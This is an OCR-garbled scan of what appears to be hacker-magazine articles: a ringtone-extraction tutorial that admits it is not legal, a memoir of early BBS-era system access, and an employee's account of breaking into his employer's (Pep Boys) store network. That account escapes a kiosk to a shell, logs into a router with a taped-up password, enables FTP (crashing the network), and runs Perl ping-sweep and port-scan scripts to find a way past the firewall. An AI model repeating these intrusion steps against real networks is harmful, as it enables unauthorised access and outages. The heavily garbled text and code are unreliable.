you  ca n get it d o ne .  F o r  my  exa m p le I used 
http ://www. po lyphonic-ri n gton es-logos . co . u k/.  
Fi rst I searched a nd  found  my ri ngtone  "The Mup­
pets - Manamana "  on the site . 
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Send polyp h o n ic ri n g to n e  
.. i: l p_ �  >-" : 1 1::' I U r  ti ll::' 1 : "J I I U w f I U r l ' (' \'1:.' 1 ::' 1 '_,11 d U l l ;  
ril l gton ,,:> 1 
Vout" chokel 
III 1 he Muppets - Milnilfll anil 

c ountry 

Handset 

Phonenumber 
E . g .  0 7 1 2 8 4 5 .:.789  
Operator 

r Un ited K.mqdorn ( +44)::::1 
:3 

r J 8 11 +? · I �nds  
Eng l i <;h  

Dl::'l. I l_.:- d l  
f t d f l �  .j l �· 
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I then  cli cked on the spea ker icon n ext to the  
ri ngtone  title. Th i s  bri n gs open a new b rowser 
wi ndow that looks li ke th is :  

You ' re l i st e n i n g  to : 
The Muppets 
Manamana  

• D o n 't h e a r  a n y th i n g ?  C l i c k  
h e re !  
• O rd e r  this  ri n gt o n e  

Langu a g e ,  : tiIilI lilll! l l  

N ext I ri ght-cli cked i n  t hat wi ndow and  
cli cked properties li ke th is :  

I then  cli cked a nd  selected the  "Add ress: URL" 
a n d  copied that to my cli pboard .  Next, I opened 
up  my Mickey Mouse HTM L editor ( FrontPage ) ,  
cli cked to open a fi le, a nd  pasted th i s  URL  i n  the  
" Fi le n ame" b lock  a nd  h it  enter. Th i s  opened up  a 
read-on ly versi on  of that page .  The  neat thi n g  
about t h i s  site a n d  most o f  the  others i s  that they 
rely on J avaScri pt i n  most of thei r  featu res which 
a llows us to explo re thei r  code when vi ewi ng  the  
source. 

General I 
ri� 
� 

The M uppets • Manamana 

Protocol: HwerTe.t Transfer Protocol 

Twa: Not Available 

Connection: Not Encrypted 

Address: 
(URLI 
Size: 101 ot Available 

Created: Not Available 

Modified: Not Available 

OK 

From this poi nt I j ust click  to vi ew the  source a nd  it looks  som ethi n g  li ke this :  
<html> 

<he ad> 

< t i t l e>The Muppets - Manamana< / t i t l e >  

< s c r ipt> 

I I  
I I  ( C )  Van den Boom Med i a  2 0 0 1 - 2 0 0 2  

I I  
img_s peaker= .. http : / /www . r i ngtonio . n l / images / s p l . g i f  . .  ; 

img_f o l der= .. http : / /www . r i ngtonio . n l / image s / map4 . g i f  .. ; 

m l e f t = 1 3 0 ;  

mtop= 3 0 ;  

bgplay= . .  http : / /www . gologo . n l / images / s t andardp lay . png .. ; 

bgsend= .. http : / /www . gologo . n l / images / s tandard . png .. ; 

d=document ; 

bd= .. http : / /www . r i ngtonio . n l . . ; 

d . wr i t e l n  ( ' < l ink r e l = " s t y l e s heet " type= " text / c s s " href = " ' +bd+ ' l c s s / 1 1 4 2 2 . c s s " > ' ) ;  

d . wr i t e l n  ( ' < s c r ' + ' ipt> ' ) ;  

d . wr i t e l n  ( ' funct ion s e nd ( i d ) ' ) ; 

d . wr i t e l n  ( ' { ' ) ;  

d . wr i t e l n  ( ' window . open ( bd+ " / s e nd / ? id= " + id+ " & r t a f f = 2 9 5 8 & c lx = 1 &myid= &brpc = & rt l 0 =  

- 1 1 4 2 2 " , " s endpop " , " toolbar=no , locat ion=no , di r e c to r i e s =  no , status=ye s , menubar=no , 

" s c ro l lbars=ye s , res i z ab l e=no , copyh i s tory=no , width= 6 1 7 , height=4 5 0 , screenX= O , 

" s c reenY= O , top= O , l e f t = O " ) ; , ) ; 

d . wr i t e l n  ( ' } ' ) ;  

d . wr i t e l n  ( ' function p l a y  ( id ) ' ) ; 

d . wr i t e l n  ( ' { ' ) ;  

d . wr i t e l n  ( ' window . open ( bd+ " / p l ay / ? id= " +id+ " & r t a f f = 2 9 5 8 & c lx= 1 & myid=& brpc = & r t l 0  

-= 1 1 4 2 2 " , " p l aypop " , " toolbar=no , locat ion=no , directories =no , s tatus=no , menubar=no , 

" s c r o l l b a r s = no , re s i z ab l e=no , copy h i s tory=no , width= 3 0 0 , h e i ght= 1 6 0 , s c reenX= O , 

" s c reenY= O , top=O , l e f t = O " ) ; ' ) ;  

d . wr i t e l n  ( ' } ' ) ; 

d . wr i t e l n  ( ' funct ion n i x  ( ) ' ) ; 

d . wr i t e l n  ( ' { ' ) ;  

d . wr i t e l n  ( ' return ; ' ) ;  

d . wr i t e l n  ( ' } ' ) ;  

d . wr i t e l n  ( ' < / s c r ' + ' ipt> ' ) ;  
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< / s c ript> 

< / head> 

< s c r ipt> 

wi ndow . focus ( ) ;  

< / s c r ipt> 

< s t y l e >  

body , td , tr , table { font - f ami ly : verdan a ;  font- s i z e : 9pt ; } 

a : l i n k , a : v i s ited , a : act ive { font - f ami l y : verdana ; font - s i z e : 9 pt ; font-weight : 

-bo l d ; text-decorat ion : none ; font - s ty l e : normal ; color : #O O O O E E ; } 

a : hover { font - f ami l y : verdana ; font- s i z e : 9pt ; font-we i ght : bold ; text-decoration : 

- none ; font - s ty l e :  normal ; color : #O O O OEE ; } 

< / style> 

<body bgcolor=#FFFFFF l e f tmar g i n = 5  topmarg i n= 1 5  r i ghtmar g i n = O  bottomma r g i n = O > < t a b l e  

-width= 2 9 0  c e l l s p a c i n g = O  c e l lpadding=2 border= O >  

<tr><td rowspan=2 v a l i gn=top width= 8 2 >< c enter>< img s r c = " polyfoon-en . j pg " > < embed 

-type= " audio /mp3 " s r c = '' http : / / c ontent . r ingtonio . n l /mp3 / 2 1 5 3 1 . mp 3 '' h idden= " TRUE " 

- l oop= " TRUE " volume= " 1 0 0 % "  autos t art= " t rue " width= " 1 2 8 "  h e i ght= " 1 2 8 " >  

< / td><td val i gn=top> < font s i z e = - 2 >You ' re l i s tening to : < / font><br><b>The 

-Muppets<br>Manamana < / b >  

< / td>< / tr><tr><td><br>< l i > < a  hre f = ' ' http : / / c ontent . r i ngtonio . n l /mp 3 / 2 1 5 3 1 . mp 3 '' 

-target=_new>Don ' t  hear anyt h i n g ?  C l ic k  here ! < / a> 

<br> < l i><a h r e f = " j ava s c r i pt : n i x ( ) ; "  onC l i c k= " s end ( ' 8 1 7 5 7 & brpc = ' ) ;  return f a l s e ; " >  

-Order t h i s  r i ngtone 

<br>< / td>< / t r><tr><td><br>< / t d>< / tr><tr><td><center><font s i z e = - 2 >Language : 

- < / f ont> < / td><td><a hre f = " ? id= 8 1 7 5 7 & r t a f f = 2 9 5 8 & c l x= 1 & rt l o= 1 1 4 2 2 & s e t l ang=n l " 

-border=O>< img s r c = " . .  / image s / flg / n l . png " borde r = O  a l t = " Nederlands " > < / a> & nb s p ; < a 

-href= " ? i d = 8 1 7 5 7 & r t a f f = 2 9 5 8 & c l x= 1 & rt l o= 1 1 4 2 2 & s e t l ang=en " borde r = O > < img s r c = " . .  / 

- image s /flg / gb . png " border=O a l t = " E n g l i s h " >< / a> & nb s p ; < a 

-href= " ? id= 8 1 7 5 7 & r t a f f = 2 9 5 8 & c lx= 1 & rt l o= 1 1 4 2 2 & s e t l ang=de " borde r = O > < img s r c = " . .  / 

- image s /flg / de . png " border=O a l t = " Deuts c h " > < / a> & nb s p ; < a hre f = " ? id= 8 1 7 5 7 & rt a f f =  

- 2 9 5 8 & c l x= 1 & rt l o= 1 l 4 2 2 & s e t l ang= f r "  borde r = O > < img s rc = "  . .  / image s /flg / f r . png " borde r = O  

- a l t = " Francai s " >< / a> & nb s p ; < / td>< / tr>< / table> < / body> < / html> 

The key sn ippet we a re Loo ki n g  fo r is 
http ://content. ri n gtoni o . n Ljmp3/2153 1 .mp3 .  
Usi n g  a b La n k  htm L p age  i n  FrontPage ,  you  j ust 
create a Li n k  to that add ress a n d  then  save a n d  
o pe n  you r  n ew  htm L p a ge .  With i t  o p e n ,  y o u  j ust 
ri g ht-click  on the  Li n k  a n d  hit "Save Ta rget As . . .  " 
a n d  save it to you r  box. 

OK ,  now you have a po Lyphon ic  mp3  on  you r  
com puter. U n Less you r  p hone  wi lL recognize a n d  
p Lay mp3 s  you  a re out o f  Luck. My  p hone  does 
not. It wi LL o n Ly p Lay MIDIs and .AM R fi Les. You 
need to convert you r  n ewLy acqu i red mp3  fi le 
i nto .AM R or MIDI .  N o kia  has made this very easy. 
U si n g  thei r  free uti Lity No kia M u Lti media Con­
verter 2 .0 ,  you can specify the  fi le s ize cutoff (my 
phone o n Ly a llows fi Les up  to 64k) and convert 
you r  ri ngtone .  

Now you  have you r  ri ngtone  i n  .AM R fo rmat 
a nd  can either  tra nsfer it to your  phone via syn c  
cab Le o r  t h rough  a m u Lti m edia message as  a n  at­
tachm ent. 

Summary 
This parti cu La r  m ethod I described is very 

"bai Li n g  wi re a n d  duct-ta pe . "  If a nyth i ng ,  it 
serves as  a sta rti n g  poi nt fo r you to Lea rn  if  you 
d idn 't know a Lready. As I stated befo re ,  the re a re 
many different ways of doi n g  th is .  It is ki n d  of 

fu n to go th rough  a n d  fi n d  mo re effi ci ent ways 
wh i le tryi n g  different sites . PLease remember  that 
this is not Lega L  nor i s  it fai r to the  ri ngtone  com­
panies that s Lave over the works of othe rs a n d  
seLL t h em  fo r up  t o  five do lla rs a pop .  

N9I9� Mult1.m�ia Converter . 
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I 'm n ot goi n g  to tell you what a h acker i s .  In 
fact, a nyone i ntent on  telli n g  you who o r  what 
you a re i s  a lia r  a nd  not to be trusted . We defi n e  
ou rselves th rough  ou r  own actions ,  not b y  t h e  la­
bels othe rs may try to give us. What I wi ll do  is 
s ha re with you a sto ry, a n d  maybe you' l l  relate to 
it. So without fu rther  ado ,  let's rewi n d  to the be­
gi n n i n g ,  which is a lways a good p lace to sta rt . . . .  

In t h e  begi n n i ng  I spent lon g  hou rs a t  t h e  lo­
cal department store (where, natu ra lly, comput­
e rs were so ld )  lea rn ing  BASIC by typi n g  i n  
p rograms  from books I too k  o u t  o f  the  loca l li ­
b ra ry. Then ca me  my TRS-80 MC-10 with 4K of 
RAM,  3 2  columns ,  a n d  no lowercase.  It was awe­
some .  The yea r i s  somewhere a round  1983 .  Back 
then you would use you r  TV as  a d isp lay, and it 
wasn 't u n common  to use cassette tape fo r stor­
age. Ei ght  i n c h  floppies were on  the i r  way out, 
five a n d  a qua rte r was on  its way in - in either  
case  a luxu ry I di d n 't possess. There was no  
broadband ,  n o  web ,  no  pub li c Internet. I t  was 
defi nitely a m uch si mp ler  ti me .  

After a 1 6K  memo ry expa nsi o n ,  I had  rea lly 
honed my progra m mi ng  ski lls , havi n g  mastered 
both BASIC a n d  mach i ne  la nguage .  I was loo ki n g  
fo r somethi ng  mo re a nd  a modem  seemed ri ght  
up  my a lley. Th e Bel l  System was i n  th e p rocess of  
bei n g  bro ken up  a n d  fo r the  fi rst ti m e  we had  the  
a bi lity to p u rchase ou r  own equi pment that cou ld 
be di rectly con nected to the  telephone  network 
via a "modu la r  jack." Pri o r  to this a n  "acousti c 
coupler" was n eeded .  This was a device that ei­
ther  worked together  with a modem or was bu i lt 
ri ght  i n ,  possessi n g  a suction -cup- li ke i nterface 
that you'd p lace a standa rd telephone  receiver o n  
after d ia li n g  a n d  hea ri n g  the  ca rri e r  tone  o f  t h e  
remote computer. Typica l modems o f  the  day op­
e rated at two speeds :  110 and 300 baud.  Quai nt 
by today's sta nda rds ,  I know. A gift from my pa r­
ents, my modem was one  of the  first capab le of 
bei n g  p lugged di rectly i nto a modu la r  jack ,  
thereby not requ i ri n g  a coup ler. It  wasn 't capab le 
of "a utodi a li n g , "  but neith er  were most modems 
of that ti me .  I a lso received so-ca lled "termi n a l  
softwa re" on  cassette tape, a lo ng  with i n struc­
tions  o n  how to d ia l  i nto a n  exciti n g  on- li n e  ser­
vice known as  "Compuserve . "  Bear in m i nd  that 
the on- li n e  experi ence way back then  was text­
based; besi des the  occasi ona l  b lock g raph i cs 
( known as "Videotex") , we i ntera cted with oth er  

computers via a si n g le mono lithic screen of text 
with  o n ly the  most rudimentary cursor control .  
N o  mice,  n o  wi ndows . 

Initia lly I was i nte rested i n  fi nd i ng  others 
who had  the  same  computer as I had ,  to swap 
stories about what we had  fig u red out how to do  
with the  thi n g ,  o r  even to  trade p rograms .  To  my 
disappointment, I fou nd  few people .  What I did 
fi nd  was a n  operati n g  envi ro nment underneath 
the facade that was Compuserve; it wasn 't adver­
ti sed much ,  but it gave you access to thi ngs  li ke 
text editors a n d  fi le sto rage a nd ,  fo r additi o n a l  
"ti m e-sh a ri n g "  cha rges,  programming  la nguages .  
Unfo rtunately, it seemed that a ll too many thi ngs  
were avai lab le at extra cost on  Compuserve, be­
sides the fact that on- li n e  usage was bi lled fo r by 
the  hou r. I lea rned that Compuserve was actua lly 
made  up of a network of min icomputers; ma­
ch ines much  la rger and  more powerfu l  than  
m ine .  I wa nted to  lea rn  about these  powerfu l  
machi nes a n d  h o w  t o  program them .  

Some fo lks I chatted with on  Compuserve rec­
ommended I try accessi n g  some bu lleti n board 
systems ( B BSes ) .  I would discover that these 
were typical ly microcomputers (Apples, Com­
modores, etc . )  run  by some kid with a coup le of 
floppy d rives (o r  maybe even a 1 o r  2 meg h a rd 
d rive ! )  a n d  a modem with a si n g le p hone  li ne .  
You 'd compete with other  ca llers to  wait-out busy 
si g n a ls fo r a chance to read the  m essages they 
left, a n d  maybe you'd post you r  own two cents' 
worth . I was given some phone  n um bers in the  
N ew Yo rk a rea ,  but  they were mostly concerned 
with copyi n g  games .  As was customa ry, these BB­
Ses advertised the n u m bers of other  B BSes they 
recommended you ca ll, a n d  I began to make a list 
with pen a n d  paper. On  at least a few of these 
"boards" (as  they were ca lled fo r sho rt) , I found  
a few people tradi n g  passwords !  One  was  fo r 
somethi ng  ca lled " RSTSjE . "  It was a 516 p hone  
n u m ber. You'd con nect a t  300 b aud ,  p ress enter a 
few ti mes ,  then type " H ELLO 101 ,101" ,  followed 
by the password "GU EST" when asked . Sounds  
si mp le enoug h ,  a nd  I was  curious .  

Amazi n g ly enoug h ,  it worked ! What I discov­
e red was that RSTSjE was a ti meshari n g  system 
that ra n on a min icomputer that was bei n g  used 
by students as  part of somethi n g  ca lled "BOCES ,"  
a New York  State educationa l  i nitiative. There 
were programm ing  la n guages avai lab le fo r use,  
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some I'd h ea rd of, others n ot; persona l  fi le stor­
age ,  even the abi lity to chat with oth er  users on 
the system .  The persona l  fi le sto rage at fi rst 
amazed me most: I cou ld write programs ,  ri g ht 
the re on my screen ,  save them to some remote 
d isk  d rive somewhere, a n d  h ang  up .  The next day, 
the programs  I wrote would still be there, waiti n g  
fo r me .  This probab ly s o u nd s  comp letely obvious  
to  many of  you  readers who g rew up  i n  a world 
where the  Internet or even the web a lways ex­
isted, but this wasn 't so fo r those of us who  were 
among  the fi rst ki ds to use m u lti -user, tim e­
s ha red computers . It was a th ri ll to com mand  a 
system i nfi nitely mo re powerfu l  than  you r  own , 
a ll from the  comfort of you r  own room .  And  if you 
weren 't su re about somethi n g ,  a ll you needed to 
do  in most cases was just type " H E LP" a n d  the  
system would give you more i nfo rmati o n .  I 
seemed to have a knack fo r fi g u ri n g  out h ow to 
operate these systems .  And so I proceeded to 
comb these B BSes hopi n g  to fi n d  mo re ,  a n d  
someti mes I d i d :  a VAX a t  SUNY Stony Brook ,  a 
Cyber  730  at University of Lowell, Massachusetts . 
Peop le would occasiona lly post up passwords fo r 
guest access at schools .  What's more, they were 
often wi lli n g  to trade me  one  fo r a n other. And  
that's how i t  sta rted out, i n nocently enough  . . . .  

I t  wasn 't lon g  before I sta rted n oti ci n g  that 
someti mes I'd lose access to somethi n g .  It was 
saddeni n g ;  one day you were havi n g  fu n p ro­
g ramming  on  an RSTS and the next day you m ight 
fi n d  the  password no lo nger  worked .  J ust who 
exactly was  "OPSER ,"  a nyway? And why wou ld h e  
b lock ou r  guest access? One  thi n g  was  fo r cer­
tai n ,  a n d  that was that I did n 't li ke losi n g  access . 
It was i n  that moment that I rea lized that I wou ld 
have to lea rn about how secu rity wo rked on these 
systems - how accounts were made  and who 
cou ld make them. How were p rivi leges set up? 
And  cou ld they be ci rcumvented? There m ust be 
flaws i n  these access contro ls and I i ntended  to 
fi nd  out what they were. Experimentati o n  was 
part of the p rocess, but I a lso wa nted to fi n d  
people who knew mo re, a n d  who actua lly ca red to 
know mo re .  Games a re fu n ,  but this was some­
thi n g  rea l. 

No matter what I ca me  across, I a lways 
wanted to know more .  If I logged i nto an RSTS or 
RSX-ll system ,  I wa nted to know everythi ng  
about i t .  Even mo re than  what  the  H E LP to ld me .  
On  some B BSes, I came  across i nfo rmationa l  
fi les, "g-fi les" o r  " gene r a l  f i les," so  n amed be­
cause they di d n 't fa ll unde r  a ny othe r  category ;  
t hey weren't g ames ,  they weren 't a pps, they were 
j ust genera l  text fi les. Some of these fi les were 
cra p,  b u t others I'd fi n d  were u p  by neoo te 
\Nh o  knew m o re t h a n  " H E L P:' Tn �';Gn1(� c a s e s  iJ lot 

more .  I began to n oti ce somethi n g :  many of 
these more i nfo rmative g-fi les were sig n ed by 
members of a group ca lled " LOD"  fo r " Legion  of 
Doom . "  These guys m ust be serious ,  I thoug ht. 
They were devoti n g  a lot of ti me  and effort to ex­
plori n g  systems in a n  effort to unde rsta n d  them,  
j ust as I was .  I n eeded to  fi n d  these  guys. S how 
them that I. too ,  was serious .  

One  day whi le ch atti ng  with the  SYSOP  (SYS­
tem O Perator) on some BBS  on Long  Is la n d ,  I 
asked if he had  h ea rd of the  LO D .  In fact, I was 
aski ng  a lot of peop le .  Most people had h ea rd of 
them o n ly by reputation  a n d  typical ly reacted 
with a sense of awe. I p ressed this SYSOP  to fi nd  
out if h e  knew of  a ny p laces where LO D mem bers 
were supposed to h ang  out. I knew I cou ld im­
press these guys a n d  trade  i nfo rmati o n .  A wi n­
wi n situation  i n  my m ind .  The SYSOP  knew of one  
particu la r  BBS  on  Long  Isla n d :  The  Stro n g ho ld 
East E lite. A rather  d ramati c n ame  . . .  it m ust be 
serious .  H e  gave me  the  phone n u m ber  but made 
m e  promise  never to say that it was h e  who  gave 
it to me .  Su re ,  OK .  I eagerly called the  n u mber, 
hopi n g  to sig n  up as a new user a n d  sta rt loo ki ng  
a rou nd .  But i n stead my screen cleared a n d  I was 
g reeted with a rather  ominous  " PASSWO RD : " .  
That  was  i t ,  nothi ng  e lse .  I took  a guess .  One  
guess. And  it disco n nected me  at once. Who  were 
these LOD dudes? I i ntended to fi n d  out . . . .  

A n d  s o  i t  was.  This story h a s  no  endi n g ,  o n ly a 
begi n ni n g .  Maybe you r  begi n ni n g  was si m i la r  to 
mine ,  maybe it was different. It's worth n oti n g  
that back t h e n  si mp ly loggi n g  i nto a computer i n  
a nd  o f  itse lf, without permissi o n ,  wasn 't i llegal .  
It wouldn 't become  i llega l  unti l 1986, and those 
laws would n 't actua lly ever be tested u nti l yea rs 
later. Did you know that many systems even had  
accou nts without passwords? Imagi n e  that. 

Consider  this story a flash back, a snapshot of 
a ti me  lo n g  gone ,  a si mp ler ti me .  In  thi n ki n g  
back t o  those ti mes ,  I 'm  remi nded t h a t  the  h u ­
man  spi rit i s  n ever as  free as  when  it's reach ing  
out to  lea rn .  

Ma rk Abene has been a security consultant  for 

quite a while. From time to time he even likes to 

lecture on the subject. He 's a lso been a network 

architect, a sys-admin, a programmer, even an 

actor. When he gets completely fed up with all  

these things, h e  prefers to relax some p lace 

warm, like a beach. fie 's never quite figured out 

how to s wim, despite several  well in tentioned a t­

tempt;,. Rumor has it thai iFyou offer to buy him 

a drirlk. he may even entertain you with a 

:,tOfY" � . .  



I nsecurfty at 
Pep 

by Sakuramboo 
After worki n g  fo r Pep Boys fo r over fou r  yea rs, 

I have seen a lot of changes from with in  the com­
pa ny. Fi rst I sta rted out as  an i nsta ller, doi n g  the  
BS work on  ca rs ( chang ing  batteries ,  head lig hts, 
ti res, oi l ,  etc . ) .  Then I moved to the pa rts 
counte r, lea rni n g  the computers used to look  up  
pa rts a n d  write up  work  o rders .  This was a p retty 
si mp le U nix server accessed by I BM  InfoWindow 
II 3153 dumb termi n a ls th roughout the  sto re . In  
2005 ,  a ll of the  systems got updated with new 
h a rdware as well as  softwa re, rep laci n g  the Unix 
server with a Li nux  Suse Enterprise OS and I BM  
Su rePOS 300  termi n a ls .  These a re the accou nts of 
what I have found  out in my s ho rt ti me  with the 
new systems .  

When  sta rti n g  the d umb  term ina l  up ,  you  a re 
given the  S hopX prog ram  which is used fo r ri ng­
ing up  customers .  You need to log in  with you r  
own  n u m bers ( i f  you  a re a cas hie r) . When you 
mi nimize the wi n dow, you a re p resented with a 
b la n k  background  a n d  a poi nte r. The GU I  resem­
b les that of Wi ndow Ma ker. Rig ht clicki n g  b ri n gs 
up the  menu  where you can la unch  Sta rli g ht 
(pa rts lookup ) ,  Commercia l  Sa les (fo r APD ac­
counts ) ,  i n side . pepboys .com (th e Pep Boys In­
tra net) . an opti on fo r letti ng  you set the  menu  to 
eithe r  pa rts o r  servi ce (the difference i s  that ser­
vice gets two Sta rli g ht p rograms ,  whe reas pa rts 
gets one  Sta rli g ht a n d  one  Commercia l  Sa les p ro­
g ra m ) .  This i s  where I found  the fi rst little bug .  

When  you load  eithe r  Sta rli g ht o r  Commercia l  
Sa les programs ,  y o u  a re p resented with a log in  
a n d  password p rompt. By hitti n g  Ctrl-5 ,  you wi ll 
d rop  to a teln et p rom pt. From the telnet p rom pt. 
by hitti n g  Sh ift-1 ( ! )  you wi ll be d umped at the  
com mand  p rompt with read  and write access to 
the  Reta i l  user' s  h ome  di recto ry. After poki n g  
a round  the  term ina l's h a rd d rive, I wa s  loo ki n g  to 
see j ust what I cou ld a n d  cou ld n ot do .  GCC was 
not i n sta lled .  H owever, the  Perl i nterp reter was 
i n sta lled a n d  cou ld be run from the Reta i l  ac­
count. 

N ow that I had acqui red Bash  access, I de­
cided to see how fa r I cou ld ta ke this. J ust what 
exactly were my li mitations  o n  th e Pep Boys 
network? 

From the command  prompt, I decided to pi n g  
the  i n si de . pepboys .com web  server t o  make s u re 
that the  server was up a n d  accepti n g  requests . 
With zero percent packet loss, that meant that 
the  server a llowed fo r ICM P req uests, which a l­
lowed me to assume  that a ll the  servers would a c­
cept them .  So ,  I s hou ld be a b le to j ust pi ng  a ny 
server a n d  determi ne  if the  server was up or n ot. 

Everyone  at the store was told that no o ne  is 
a llowed Internet access beca use the fi rewa ll 
b locks everyone  out a nd  i n .  So, my fi rst idea was 
to access the  router and enab le Internet access . 
The fi rst step was to fi n d  out the  IP add ress of 
the  main sto re's router. A simp le traceroute 
wou ld so lve this .  

r e t a i l @ s t r 0 1 9 2 r g l 1 2 : - > / u s r / s b i n /  

- t r a c e r o u t e  i n s i de . p e p b o y s . c om 

t r a c e ro u t e  t o  i n s i d e . p e p b oy s . com 

- ( 1 7 2 . 2 1 . 1 0 . 7 4 ) , 3 0  h o p s  max , 4 0  b y t e  

- p a c k e t s  

1 r t r 0 1 9 2 · 9 9 9 . p epboy s . com 

- ( 1 0 . 0 . 1 9 2 . 7 4 )  3 . 4 1 8  m s  3 . 4 3 5  m s  

- 3 . 4 4 1  m s  

2 p e r 0 1 9 2 - p epboys . c om ( 1 0 . 3 3 . 4 . 1 0 )  

- 9 3 . 9 9 1  m s  1 8 8 . 4 9 7  m s  1 8 4 . 5 3 0  m s  

3 c e r c o rpvp 7 . pepboy s . c om ( 1 0 . 3 3 . 1 7 . 5 7 )  

- 1 6 5 . 7 7 1  m s  1 6 1 . 7 7 3  m s  1 5 7 . 7 7 5  m s  

4 r smbv l an 1 4 2 . p e p b o y s . c om 

- ( 1 7 2 . 2 1 . 1 4 0 . 1 9 )  1 5 3 . 7 7 2  m s  1 4 9 . 7 7 7  m s  

- 1 4 5 . 6 9 2  m s  

5 p h 1 w eb 2 . pepboys . c om ( 1 7 2 . 2 1 . 1 0 . 7 4 )  

- 1 4 1 . 5 1 9  m s  1 3 7 . 5 2 3  m s  1 3 3 . 5 4 9  m s  

There were two factors i nvo lved i n  determin­
ing  the  sto re's main  router. The fi rst was the  IP  
add ress. The IP  add ress of the termi na l  from 
which I was doi n g  this was 10 .0 . 1 9 2 . 2 1 2 .  So ,  
with this ,  it is safe to assume  that this sto re owns 
the  10 .0 . 1 9 2 .  * IP  ra nge  (the store n umber  i s  
192) .  The  other  facto r i nvo lved was the h ostn ame  
o f  the  routers. rtr0192-999 . pepboys .com was 
li kely the  main router. B ut, how wi ll I access it? 
That i s  where teln et ca me  i nto p lay. 
r e t a i l @ s t r 0 1 9 2 r g l 1 2 : - > t e l n e t  

t e l n e t > op e n  r t r 0 1 9 2  9 9 9 . p e p b o y s . c om 

U s e rname : mo d 0 1 9 2  

P a s s w o r d : mo d 0 1 9 2  
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Now you might  be thi n ki n g  to yourseLf, " H ow 
do you know the  userna m e  and  password of the  
router?" WeLL, to  an swer you r  question  I m ust teLL 
the sto ry. Pep Boys used to have emp Loyees clock 
i n  and out via a ti m e  clock that was h u n g  on  the 
waL L  outsi de of the  offi ce of the store. That got 
rep Laced by a computer at the  register that i s  
wi reLess-enab Led with Cisco LEAP en crypti o n .  
Whenever that computer had  a probLem ,  it 
n eeded to be resta rted a n d  the store manage r  
wou Ld n eed to  know the  usern ame  a n d  password 
to Log it i n .  The sto re ma nager  at the  ti m e  had  a 
p rob Lem remem beri n g  the  Logi n i nfo rmation  so 
he wrote them down o n  a piece of maski n g  tape 
and taped it to the  keyboard .  Of course,  I remem­
bered i t .  But, did I know that  it was  the  same  Lo­
gin i n fo rmatio n  of the router? No .  I j ust guessed 
a n d  it worked .  So ,  back to the router . . . .  

Upon  accessi n g  t h e  router via teLn et, I typed 
"di r" to vi ew the  fi Les and found  a confi g  fi Le. I 
feLt that it was safe to assume  that this config 
fi le had  the  access Li st n eeded to open the  
b Locked I P  ra nges .  After fai li n g  to  open the  con­
fig fi Le via vi , I enab Led FTP on  the  router a nd  at­
tem pted to "get" the  fi le to the  d umb  termi n a L's  
h a rd d rive, a LLowi n g  m e  to view the  fi le . 

Router _ 0 1 9 2 # configure 

Router_0 1 9 2 ( config ) #  ftp- s e rver enab l e 

Router�0 1 9 2 ( config ) #  e x i t  

Router_ O l 9 2#exit 

retai l @ s t r 0 1 9 2 rg l 1 2 : - > f t p  

f tp> o p e n  1 0 . 0 . 1 9 2 . 1  

get ! s dmc onfig - 2 8 1 1 . c f g  !home ! retai l !  

- s dmconfig-2 8 1 1 .  c f g  

This ,  h owever, backfi red a n d  Locked t h e  enti re 
n etwork.  Every termi n a L  cou Ld not a ccess the  
store's n etwork .  Pa rts Lookup ,  Work  Order Sys­
tems  and  cash tra nsacti on s  at the registers were 

# ! ! u s r ! b i n ! pe r l  

u s e  I O : : Socket ; 

my S port � 1 ;  

$fi l e  � " ! home ! re t a i l ! pe r l ! port s . txt " ; 

w h i l e  ( $ port <� 1 0 0 0 0 ) {  

a LL knocked offli n e .  So we (we bei n g  the  manager  
on  duty a n d  myse Lf) ca LLed MIS (the Pep Boys 
tech department) who  toLd us that a n other  store 
j ust got the sa me  thi n g .  They toLd us to do  a ha rd 
reset of the  router. Once we did th at, the  network  
came  back o n Li n e .  H owever; I did n ot want to at­
tempt this aga in  to fi n d  out fo r s u re if the  fi Le 
tra nsfer was the  reason behi n d  the  netwo rk 
cra sh .  

So I decided to  check  out the  oth er  setti ngs  
from with i n  the  router. I vi ewed the  access Li st fo r 
the  router but n othi n g  turned up .  So that meant 
that MIS was Lyi n g  to everyone  (which i s n 't too 
un common  fo r the m ) .  So now I decided to try 
a nd  fi nd  an open p roxy somewhere on  the  n et­
work to access the  outside Internet. My i niti a L  
thought  was  that  there might  be a server on  the  
subnet of  the i ntra net that  m ight  be u sed  as  a 
p roxy. So I wrote a crude IP sca n ne r  to sca n fo r 
open IP add resses. 
# ! ! u s r ! bi n ! p e r l  

$ s ubnet � 0 0 0 ;  

w h i l e  ( $ subnet < �  2 5 5 ) {  

s y s t em ( " p ing -q -c 1 -w 1 1 7 2 . 2 1 . $  

"' s ubnet . 1 1 " ) ;  

$ s ubnet � $ s ubnet + 1 ; } 

The te rmi n a L  wi ndow a llowed me  to vi ew the 
enti re output i n  the  wi ndow. But Late r o n  I had  
that script d ump  the  output to  a text fi Le fo r Later 
readi n g .  After fi nd i ng  a ny open IP add ress, I 
needed a port sca n n e r  to see if a ny known p roxy 
po rts were ope n .  N m a p  was out of the  q uesti on .  
Users do  n ot have access to  mount  externa L  data 
storage devices (th umb  d rives) ,  so I had to write 
somethi n g  with the tooLs I had avai La b Le .  This 
prompted me to write a crude po rt sca n ne r  in 
PerL .  

$ s ock � I O : : S ocket : : INET->new ( PeerAddr �> ' 1 7 2 . 2 1 . 1 0 1 . 1 1 ' ,  

open ( L I S T , " » $fil e " ) ;  

i f  ( $ soc k ) { 

e l s e {  

c lo s e  ( $ s oc k ) ; 

print " S port -open \ n " ; 

print L I S T  " S port -open\ n " ; 

S port � Sport + 1 ;  

} 

print " S port - c l o s e d \ n " ; 

S port � Sport + 1 ;  

} 

c lo s e ( L I S T ) ;  

PeerPort => S port , 

Proto => ' tc p ' , 

T imeout => ' 1 ' ) ;  
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After letti n g  my port sca n ne r  do its thi ng ,  I i n fo rmati on  on how to do thei r  job  was p 
found  that the aforementioned 1P add ress had  fo r everyon e  to vi ew (wh ich  wasn 't rea lly i nfor-
port 80 open .  So I decided to try this out a n d  see mative ) .  It mostly consisted of Code of Conduct 
if maybe it was a p roxy (I know that p roxies no r- fo r the  emp loyees to fo llow. 
ma lly don 't run on  port 80) ,  but a nother  p rob lem Another I P  add ress that turned up  havi n g  
a rose. I had  n o  way o f  i nputti n g  t h e  p roxy ad- port 80 open brought me  to the  corporate h ead-
d ress i nto Mozi lla . Alm ost everythi n g  i n  the  too l  qua rters' i n tra net. There was n ot that  m uch use-

bar  was b locked out. So I n eeded to enab le fu l i n fo rmati on other than  what was on the  lunch 

everythi n g  that was missi n g .  menu  fo r that day. Tomato s o u p  was t h e  S o u p  of 
